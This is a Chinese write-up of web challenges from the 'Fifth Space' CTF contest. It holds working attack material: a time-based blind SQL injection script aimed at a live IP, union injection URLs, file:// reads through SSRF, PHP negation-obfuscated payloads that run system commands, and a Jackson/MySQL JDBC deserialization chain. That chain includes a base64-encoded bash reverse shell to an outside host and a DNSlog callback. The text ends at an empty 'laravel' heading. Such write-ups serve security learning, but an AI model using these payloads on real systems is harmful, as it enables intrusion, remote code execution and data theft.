第五空间智能安全大赛Web题解

第五空间web题目题解

0x01 美团外卖

www.zip源码泄露,审计源码,在daochu.php中存在sql注入,

image-20200624212541399

可以看到没有任何过滤,该页面不用登录也可以访问这个界面,而且也有回显。由于不知道sms和content表的列数,开始测试没有成功。

采用时间盲注,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
# encoding=utf-8
import requests
import time

url="http://119.3.183.154/daochu.php?"
proxies = {
"http": "http://127.0.0.1:8080",
}
flag=""

#erfenfa
for i in range(1,50):
high = 127
low = 32
mid = (low + high) // 2
while high > low:
payload="type=2&imei=\" and if((ascii(mid((select group_concat(table_NAME) from information_schema.tableS where table_schema=database()),{},1))>{}),benchmark(10000000,sha(1)),0)-- -"
payload="type=2&imei=\" and if((ascii(mid((select group_concat(column_NAME) from information_schema.columnS where table_schema=database() and table_name='admin'),{},1))>{}),benchmark(10000000,sha(1)),0)-- -"
payload="type=2&imei=\" and if((ascii(mid((select upass admin where id >0 ),{},1))>{}),benchmark(10000000,sha(1)),0)-- -"
url_1=url+payload.format(i,mid)
print url_1
s_time=time.time()
r=requests.get(url_1,proxies=proxies)
e_time=time.time()
#print(r.content)
if e_time-s_time>1:
low=mid+1
else:
high=mid
mid=(low+high)//2
flag+=chr(mid)
print(flag)

#admin,content,hint,mac,sms
#id uname upass hints

可以得到hint表中的hints为 see_the_dir_956c110ef9decdd920249f5fed9e4427

然后访问/956c110ef9decdd920249f5fed9e4427,得到的还是登录的界面

admin表中

uname: admin

upass: qweasdzxc

好像没有id字段

但是登录失败,看登录的代码逻辑

image-20200624223319101

按代码中的来看,数据库中的upass应该为MD5字符串,这里就应该登不进去了。

然后继续审计代码,在lib/webuploader/0.1.5/server/preview.php看到了写文件的操作,代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
<?php
/**
* 此页面用来协助 IE6/7 预览图片,因为 IE 6/7 不支持 base64
*/

$DIR = 'preview';
// Create target dir
if (!file_exists($DIR)) {
@mkdir($DIR);
}

$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds

if ($cleanupTargetDir) {
if (!is_dir($DIR) || !$dir = opendir($DIR)) {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
}

while (($file = readdir($dir)) !== false) {
$tmpfilePath = $DIR . DIRECTORY_SEPARATOR . $file;

// Remove temp file if it is older than the max age and is not the current file
if (@filemtime($tmpfilePath) < time() - $maxFileAge) {
@unlink($tmpfilePath);
}
}
closedir($dir);
}

$src = file_get_contents('php://input');

if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) {

$previewUrl = sprintf(
"%s://%s%s",
isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',
$_SERVER['HTTP_HOST'],
$_SERVER['REQUEST_URI']
);
$previewUrl = str_replace("preview.php", "", $previewUrl);


$base64 = $matches[2];
$type = $matches[1];
if ($type === 'jpeg'||$type==='php') {
die("no hacker");
#$type = 'jpg';
}

$filename = md5($base64).".$type";
$filePath = $DIR.DIRECTORY_SEPARATOR.$filename;

if (file_exists($filePath)) {
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
} else {
$data = base64_decode($base64);
file_put_contents($filePath, $data);
die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
}

} else {
die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "un recoginized source"}}');
}

直接访问http://119.3.183.154/lib/webuploader/0.1.5/server/preview.php是404,然后将sql注入出来的956c110ef9decdd920249f5fed9e4427接到后面,

http://119.3.183.154/956c110ef9decdd920249f5fed9e4427/lib/webuploader/0.1.5/server/preview.php

可以访问,会将php://input输入的内容写到文件中,格式为data:image/jpg;base64,dfdgassdga(类似这种)

image-20200624224023437

提示说已经有木马在e98a4571cf72b798077d12d6c94629.php

然后访问,显示getfile,尝试get传file值,可以得到flag。

image-20200624224201195

赛后发现可以直接利用回显注出数据。

首先确定type为2时,sms表的列数。

image-20200625110000373

有八列,然后查数据,

image-20200625110234553

1
/daochu.php?type=1&imei=%22%20union%20select%201,2,hints,4,5,hints%20from%20hint--%20-

image-20200624224404494

0x02 do you know

  • 非预期:

从题目逻辑上来看,这题应该是用SSRF+XXE+反序列化,但是

image-20200624224624983

这里用的是$_SERVER[‘QUERY_STRING’]来获取get输入的值,可以利用url编码绕过,直接利用file协议读文件,

1
2
file:///var/www/html/index.php
%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%69%6e%64%65%78%2e%70%68%70

image-20200624225042417

1
2
file:///var/www/html/xxe.php
%66%69%6c%65%3a%2f%2f%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%78%78%65%2e%70%68%70

image-20200624225155654

依次得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
hints.php
<?php
#there is an main.php
#“大佬,要不咱们用一个好长好长的数字的md5做通信密码吧”
#“那你给我算一个出来”
#“好的”
#
#小白打开了win10的calc,开始计算8129947191207+1992100742919
#然后他直接用鼠标复制了结果,计算md5值
#“好了大佬,10122047934126的md5值”
#“6dc6a29df1d7d33166bba5e17e42d2ea对吧”
#“哈???不是3e3e7d453061d953bce39ed3e82fd2a1吗”
#
#“咱们对一下数字?”
#‭10122047934126‬
#10122047934126
#“这不是一样的吗....咋就md5不一样了.......”
#
#找出来到底哪里出了问题,就可以看这道web题目了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
//main.php
<?php
class A
{
public $object;
public $method;
public $variable;

function __destruct()
{
$o = $this->object;
$m = $this->method;
$v = $this->variable;
$o->$m();
global $$v;
$answer = file_get_contents('flag.php');
ob_end_clean();
}
}

class B
{
function read()
{
ob_start();
global $answer;
echo $answer;
}
}
if($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
die('show me your identify');
}
if (isset($_GET['‬'])) {
unserialize($_GET['‬'])->CaptureTheFlag();
} else {
die('you do not pass the misc');
}

可以知道flag在flag.php中,然后读flag.php。

image-20200624224856202

0x03 hate-php

题目直接给了源码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
if(!isset($_GET['code'])){
highlight_file(__FILE__);
}else{
$code = $_GET['code'];
if (preg_match('/(f|l|a|g|\.|p|h|\/|;|\"|\'|\`|\||\[|\]|\_|=)/i',$code)) {
die('You are too good for me');
}
$blacklist = get_defined_functions()['internal'];
foreach ($blacklist as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('You deserve better');
}
}
assert($code);
}

用取反绕过,开始用的assert(next(getallheaders())),看网上说改UA就可以执行php代码,测试失败,可以用assert(end(getallheaders())),end直接取的是Connection,直接

1
2
3
4
5
6
7
8
(~%8F%97%8F%96%91%99%90)()
phpinfo()
(~%89%9E%8D%A0%9B%8A%92%8F)((~%9A%91%9B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()))
var_dump(end(getallheaders()))
(~%9A%91%9B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)())
end(getallheaders())
(~%8C%86%8C%8B%9A%92)((~%9A%91%9B)((~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C)()))
system(end(getallheaders()))

然后

image-20200624230617477

后来看到参数也可以用取反绕过。

1
2
3
4
5
6
7
8
9
<?php
//print_r(get_defined_functions()['internal']);
$a = "system"; //%8C%86%8C%8B%9A%92
echo urlencode(~$a);
echo "\n";
$b = "cat /flag.php";
echo urlencode(~$b);

(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)

image-20200624231048058

0x04 zzm’s blog

得到pom.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>ctf</groupId>
<artifactId>web</artifactId>
<version>1.0-SNAPSHOT</version>

<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporing.outputEncoding>UTF-8</project.reporing.outputEncoding>
<maven.compiler.source>1.8</maven.compiler.source>
<maven.compiler.target>1.8</maven.compiler.target>
</properties>

<dependencies>
<dependency>
<groupId>com.sparkjava</groupId>
<artifactId>spark-core</artifactId>
<version>2.9.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.15</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
<version>2.9.8</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-core</artifactId>
<version>2.9.8</version>
</dependency>
<dependency>
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-annotations</artifactId>
<version>2.9.8</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<configuration>
<archive>
<manifest>
<mainClass>Blog</mainClass>
</manifest>
</archive>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration>
<executions>
<execution>
<id>make-assemble</id>
<phase>package</phase>
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>

</plugins>
</build>

</project>

使用了Jackson 2.9.9之前的Java应用,如果服务依赖了mysql-connector-java,那么这个服务所在机器上的文件,就可能被任意读取。

commons-collections 是3.2.1

参考https://www.jianshu.com/p/dfd6f0ac9f00

https://github.com/fnmsd/MySQL_Fake_Server

image-20200625105055219

1
2
3
4
5
6
#DNSlog查看
{"id":["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://144.34.200.151:3306/test?autoDeserialize=true%20queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%20user=yso_URLDNS_http://j5q6o0.dnslog.cn"]}

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 8888 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMjAwLjE1MS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}'
#反弹shell
{"id":["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://144.34.200.151:3306/test?autoDeserialize=true%26queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26user=yso_CommonsCollections6_bash%20-c%20{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNDQuMzQuMjAwLjE1MS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"]}

image-20200625104839414

0x05 laravel